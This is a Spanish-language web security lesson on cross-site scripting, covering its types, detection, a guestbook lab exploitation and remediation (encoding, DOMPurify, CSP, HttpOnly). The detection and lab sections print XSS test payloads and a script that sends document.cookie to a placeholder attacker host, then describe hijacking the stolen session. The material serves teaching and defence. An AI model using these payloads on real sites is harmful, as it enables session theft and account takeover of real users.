XSS (Cross-Site Scripting): qué es, tipos, cómo se explota y cómo se corrige
· 13 min de lectura
Aprende qué es el Cross-Site Scripting, la diferencia entre XSS reflejado, almacenado y basado en DOM, cómo se detecta y se explota en un laboratorio autorizado y cómo se corrige con codificación de salida, CSP y cookies HttpOnly.
El Cross-Site Scripting, más conocido como XSS, es una de las vulnerabilidades web más extendidas. A diferencia de la inyección SQL, que ataca la base de datos, el XSS ataca a las personas que usan la web: el atacante consigue que su código JavaScript se ejecute en el navegador de otros usuarios, como si fuera parte legítima de la página.
Con eso puede robar sesiones, hacer acciones en nombre de la víctima, mostrar formularios falsos o leer lo que aparece en pantalla. En esta lección vas a ver qué es, sus tipos, cómo se detecta y se explota en un laboratorio autorizado y, sobre todo, cómo se corrige.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Ejecutar código en el navegador de otras personas sin permiso es un delito.
Qué es un XSS#
Un XSS ocurre cuando una aplicación toma un dato del usuario y lo mete en la página HTML sin tratarlo, de forma que el navegador lo interpreta como código en lugar de como texto.

El navegador confía en todo lo que viene del mismo sitio web. Si la página de tu banco incluye un fragmento de JavaScript, el navegador lo ejecuta con los mismos permisos que el resto del código del banco: puede leer la página, hacer peticiones con tu sesión y modificar lo que ves. Por eso un XSS es tan peligroso: el código del atacante hereda la confianza del sitio vulnerable.
Por qué ocurre: la causa raíz#
Imagina un buscador que muestra lo que escribiste:
// buscar.php?q=zapatillas
echo "<h2>Resultados para: " . $_GET['q'] . "</h2>";
Con una búsqueda normal se ve «Resultados para: zapatillas». Pero si alguien envía como búsqueda un fragmento de HTML con JavaScript, la página queda así:
<h2>Resultados para: <script>alert(document.domain)</script></h2>
El navegador no tiene forma de saber que esa etiqueta script la escribió un visitante y no el programador, así que la ejecuta.
Igual que en la inyección SQL, el problema es mezclar datos y código: el texto del usuario termina dentro del HTML sin que nadie le diga al navegador «esto es texto, no lo ejecutes».
Tipos de XSS#

| Tipo | Dónde vive el código malicioso | Cómo llega a la víctima | Gravedad típica |
|---|---|---|---|
| Reflejado | En la propia petición (URL o formulario) | La víctima abre un enlace preparado | Media a alta |
| Almacenado | Guardado en el servidor (comentario, perfil, mensaje) | Cualquiera que visite la página afectada | Alta |
| Basado en DOM | En el JavaScript del propio navegador | Un enlace o un dato que el script de la página procesa sin cuidado | Media a alta |
XSS reflejado#
El dato malicioso viaja en la petición y la página lo devuelve en la respuesta, como en el buscador de arriba. No se guarda en ningún lado, así que el atacante tiene que conseguir que la víctima abra un enlace preparado, normalmente por correo, mensaje o redes sociales.
XSS almacenado#
El dato malicioso se guarda en el servidor, por ejemplo en un comentario, un nombre de perfil o un mensaje de soporte, y se muestra después a otras personas. Es el más peligroso porque no necesita engañar a nadie: basta con que la víctima visite la página. Si quien la visita es un administrador, el atacante puede llegar a su sesión y a su panel.
XSS basado en DOM#
Aquí el servidor ni siquiera interviene. El problema está en el JavaScript de la página, que toma un dato (por ejemplo, lo que va después de # en la URL) y lo inserta en la página con funciones peligrosas como innerHTML. Es más difícil de ver porque la respuesta del servidor parece limpia.
// Vulnerable: el fragmento de la URL se inserta como HTML
const nombre = decodeURIComponent(location.hash.slice(1));
document.getElementById("saludo").innerHTML = "Hola, " + nombre;
Dónde aparece#
- Buscadores y mensajes de error que repiten lo que escribiste.
- Comentarios, foros, reseñas y chats.
- Perfiles de usuario: nombre, biografía, ubicación, enlaces.
- Parámetros de la URL que se muestran en la página o se usan en scripts.
- Paneles de administración que muestran datos enviados por usuarios, como tickets de soporte o registros. Son un objetivo clásico del XSS almacenado.
- Subida de archivos: nombres de archivo, imágenes SVG o archivos HTML que se sirven desde el mismo dominio.
El contexto lo es todo#
Un mismo dato puede ser seguro o peligroso según dónde termine dentro de la página. Esta es la idea más importante para entender y corregir el XSS:
| Contexto | Dónde cae el dato | Qué hay que hacer |
|---|---|---|
| Contenido HTML | Entre etiquetas, por ejemplo dentro de un párrafo | Codificar los caracteres especiales de HTML |
| Atributo HTML | Dentro del valor de un atributo | Codificar para atributo y poner siempre el valor entre comillas |
| JavaScript | Dentro de un script o de un manejador de eventos | Evitarlo; si no hay alternativa, codificar como cadena de JavaScript |
| URL | En un enlace o en una dirección de imagen | Validar el esquema (solo http o https) y codificar para URL |
| CSS | Dentro de estilos | Evitarlo o usar listas de valores permitidos |
Codificar un dato para HTML no sirve si el dato acaba dentro de un script, y viceversa. Por eso los parches genéricos fallan.
Cómo se detecta#
Pruebas manuales#
La detección empieza por saber dónde aparece reflejado lo que escribes y qué caracteres sobreviven:
- Escribe una cadena única y fácil de buscar, por ejemplo
wl7x9q, en cada campo y parámetro. - Busca esa cadena en el código fuente de la respuesta (clic derecho, ver código fuente, o en Burp).
- Mira en qué contexto aparece: contenido, atributo, script o URL.
- Prueba si sobreviven los caracteres especiales de ese contexto: menor y mayor que, comillas simples y dobles.
- Si los caracteres llegan sin codificar, prueba una carga mínima adecuada al contexto, siempre en un entorno autorizado.
Estas son algunas cargas de prueba clásicas, cada una pensada para un contexto distinto:
<!-- Contexto HTML -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<!-- Para salir de un atributo entre comillas dobles -->
" autofocus onfocus=alert(document.domain) x="
<!-- Para salir de una cadena dentro de un script -->
';alert(document.domain);//
Se usa alert(document.domain) en lugar de alert(1) porque muestra en qué dominio se ejecuta el código, lo que confirma que el impacto es real y no un iframe aislado.
Herramientas#
- Burp Suite: para interceptar y modificar peticiones, y su escáner para encontrar reflejos.
- Herramientas de desarrollador del navegador: la pestaña de elementos y la consola son esenciales para entender el DOM y depurar las cargas.
- Dalfox y XSStrike: escáneres especializados en XSS, útiles en laboratorios para automatizar la búsqueda de reflejos y cargas que funcionan.
- Revisión de código: buscar salidas sin codificar (
echo $_GET, plantillas con escape desactivado) y en JavaScript el uso deinnerHTML,document.writeoevalcon datos del usuario.
Explotación paso a paso en un laboratorio#
Vamos a recorrer un XSS almacenado en un libro de visitas de un laboratorio autorizado, el escenario clásico que encontrarás en el laboratorio GUESTBOOK. El objetivo es robar la sesión de un administrador que revisa los mensajes.
Paso 1: encontrar dónde se guarda y se muestra el dato#
Envía un mensaje normal con una cadena única y comprueba dónde aparece y cómo:
Nombre: visitante
Mensaje: hola wl7x9q
Si en el código fuente el mensaje aparece tal cual dentro de la página, ya sabes el contexto: contenido HTML.
Paso 2: confirmar que se ejecuta código#
Envía una carga mínima para comprobar que el navegador la interpreta:
<img src=x onerror=alert(document.domain)>
Al recargar el libro de visitas, aparece una alerta con el dominio del laboratorio. El XSS almacenado está confirmado, y se ejecutará para cada persona que visite la página.
Paso 3: preparar el receptor#
En tu máquina de ataque, dentro de la red del laboratorio, levanta un servidor sencillo que registre las peticiones que reciba:
python3 -m http.server 8000
Paso 4: robar la cookie de sesión#
Ahora la carga, en lugar de mostrar una alerta, envía la cookie del visitante a tu servidor:
<script>
new Image().src = "http://IP_ATACANTE:8000/?c=" + encodeURIComponent(document.cookie);
</script>
Cuando el administrador del laboratorio revise los mensajes, en la terminal de tu servidor aparecerá una petición con su cookie de sesión.
Paso 5: usar la sesión robada#
Con las herramientas de desarrollador del navegador, sustituye tu cookie de sesión por la del administrador y recarga. Si la cookie no tiene la marca HttpOnly y el servidor no tiene más controles, estarás dentro del panel como administrador. En el laboratorio, ese suele ser el punto de partida para seguir avanzando hacia el servidor.
Fíjate en que todo el ataque depende de dos fallos juntos: el mensaje se muestra sin codificar y la cookie de sesión es legible desde JavaScript. Corregir cualquiera de los dos ya rompe esta cadena.
Qué puede lograr un atacante#
| Impacto | Ejemplo real |
|---|---|
| Robo de sesión | Leer la cookie y entrar en la cuenta de la víctima |
| Acciones en nombre de la víctima | Cambiar el correo, publicar contenido o hacer compras con su sesión |
| Robo de credenciales | Mostrar un formulario de inicio de sesión falso dentro de la página real |
| Robo de datos en pantalla | Leer mensajes, datos personales o tokens que aparecen en la página |
| Propagación | Un XSS almacenado que se copia a sí mismo en otros perfiles, como un gusano |
| Desfiguración | Cambiar el contenido visible para dañar la reputación del sitio |
Cómo se corrige#
La regla de oro: todo dato que venga del usuario se trata como texto, y se codifica según el contexto donde se va a mostrar.
Codificar la salida según el contexto#
En PHP, para mostrar datos dentro del HTML:
// Vulnerable
echo "<h2>Resultados para: " . $_GET['q'] . "</h2>";
// Seguro: los caracteres especiales se convierten en texto
echo "<h2>Resultados para: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') . "</h2>";
Con ENT_QUOTES también se codifican las comillas, lo que protege los atributos.
Usar frameworks que escapan por defecto, y no desactivarlo#
React, Vue, Angular, Twig, Blade y Jinja2 codifican automáticamente lo que muestras. El riesgo aparece cuando se desactiva esa protección, por ejemplo con dangerouslySetInnerHTML en React, v-html en Vue o el filtro raw en Twig. Cada uso de estas funciones debe estar justificado y con datos ya saneados.
En JavaScript, insertar texto y no HTML#
// Vulnerable: interpreta el dato como HTML
elemento.innerHTML = "Hola, " + nombre;
// Seguro: el dato siempre se muestra como texto
elemento.textContent = "Hola, " + nombre;
Si necesitas permitir HTML, sanéalo con una librería#
Cuando los usuarios deben poder dar formato (negritas, enlaces) a su contenido, no intentes filtrarlo tú. Usa una librería mantenida como DOMPurify en el navegador o HTML Purifier en PHP, que eliminan todo lo que no esté en una lista de etiquetas y atributos permitidos.
import DOMPurify from "dompurify";
contenedor.innerHTML = DOMPurify.sanitize(htmlDelUsuario);
Validar las URL#
Un enlace con el esquema javascript: ejecuta código al hacer clic. Si los usuarios pueden poner enlaces, acepta solo http y https.
Capas de defensa adicionales#
- Cookies con HttpOnly: el JavaScript no puede leerlas, lo que impide el robo de sesión del ejemplo. Añade también Secure y SameSite.
- Content Security Policy (CSP): una cabecera que le dice al navegador de dónde puede cargar y ejecutar scripts. Una CSP estricta bloquea los scripts en línea inyectados aunque exista el fallo.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
- Validación de entradas: si un campo debe ser un número o una fecha, recházalo si no lo es. Reduce la superficie, pero no sustituye a la codificación de salida.
Errores comunes al defenderse#
- Filtrar la palabra script. Hay decenas de formas de ejecutar JavaScript sin esa etiqueta, como los atributos de eventos en imágenes o en SVG.
- Codificar en el contexto equivocado. Un dato codificado para HTML sigue siendo peligroso si termina dentro de un script o de un atributo sin comillas.
- Codificar al guardar en vez de al mostrar. El mismo dato puede mostrarse luego en contextos distintos; la codificación correcta se hace en el momento de la salida.
- Confiar solo en la CSP. Es una gran segunda capa, pero las políticas permisivas (con
unsafe-inline) apenas protegen y la corrección real sigue siendo codificar. - Olvidar los paneles internos. Los datos que envían los usuarios también se muestran a los administradores, y ahí un XSS almacenado es especialmente dañino.
- Pensar que una alerta es inofensiva. La alerta solo demuestra que hay ejecución de código; el impacto real es todo lo que ese código puede hacer.
Preguntas frecuentes#
¿Qué diferencia hay entre XSS e inyección SQL?#
Las dos nacen de mezclar datos y código, pero atacan cosas distintas: la inyección SQL ejecuta código en la base de datos del servidor, y el XSS ejecuta código JavaScript en el navegador de los usuarios.
¿React o Vue me protegen del XSS?#
En gran parte, porque codifican por defecto lo que muestras. El riesgo vuelve cuando usas funciones que insertan HTML sin codificar, como dangerouslySetInnerHTML o v-html, o cuando pones datos del usuario en atributos peligrosos como un enlace con javascript:.
¿HttpOnly evita el XSS?#
No evita el XSS, pero impide que el JavaScript lea la cookie de sesión, lo que corta el robo de sesión más común. El atacante todavía puede hacer acciones en nombre de la víctima mientras esta tenga la página abierta.
¿Qué es el self-XSS?#
Es un XSS que solo puede ejecutar la propia víctima escribiéndolo en su cuenta o en su consola, por ejemplo cuando un estafador le pide que pegue código en el navegador. Normalmente no se considera una vulnerabilidad del sitio, salvo que se pueda combinar con otro fallo para afectar a otras personas.
¿Es legal probar cargas de XSS en una web?#
Solo en sistemas propios, en tus laboratorios o en programas de bug bounty que lo permitan. Inyectar código en una web ajena sin permiso, aunque sea una alerta, puede ser delito.
Resumen#
- Un XSS ocurre cuando la aplicación mete datos del usuario en la página sin codificarlos y el navegador los ejecuta como código.
- Hay tres tipos: reflejado (viaja en un enlace), almacenado (se guarda y afecta a todos los visitantes) y basado en DOM (lo provoca el JavaScript de la página).
- Lo decisivo es el contexto: contenido, atributo, script o URL, y cada uno necesita su propia codificación.
- Se corrige codificando la salida según el contexto, usando frameworks que escapan por defecto,
textContenten lugar deinnerHTMLy librerías como DOMPurify cuando hay que permitir HTML. - HttpOnly y una CSP estricta reducen mucho el impacto, pero no sustituyen a la corrección.